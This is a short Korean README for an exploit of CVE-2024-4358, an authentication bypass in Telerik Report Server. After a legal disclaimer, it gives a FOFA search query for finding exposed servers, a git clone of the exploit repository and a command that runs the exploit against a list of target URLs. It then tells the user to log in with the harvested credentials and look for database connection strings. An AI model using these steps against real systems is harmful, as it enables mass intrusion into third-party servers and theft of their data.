Telerik Report Server 인증 우회 - CVE-2024-4358

고지사항: 이 개념 증명(POC)은 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 이 도구를 사용하여 대상을 공격하는 것은 불법입니다. 모든 해당 지역, 주, 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 피해에 대해 책임지지 않습니다.

시작하기

대상 찾기

잠재적인 대상을 찾으려면 Fofa(Shodan.io와 유사)를 사용하세요:

• FOFA Dork: title="Telerik Report Server"

저장소 클론하기

먼저 저장소를 클론합니다:

git clone https://github.com/fa-rrel/CVE-2024-4358/

다음으로 대상을 선택하고 urls.txt 파일에 다음 형식으로 추가합니다:

• https://ip_address

익스플로잇 실행:

python3 CVE-2024-4358.py -l urls.txt  -c id -t 10

그러면 results.txt 파일이 폴더에 저장됩니다. 이제 자격 증명을 사용하여 연결하고, DB에 로그인하기 위한 흥미로운 연결 문자열을 찾기만 하면 됩니다.

참고 도구

• https://github.com/verylazytech/CVE-2024-4358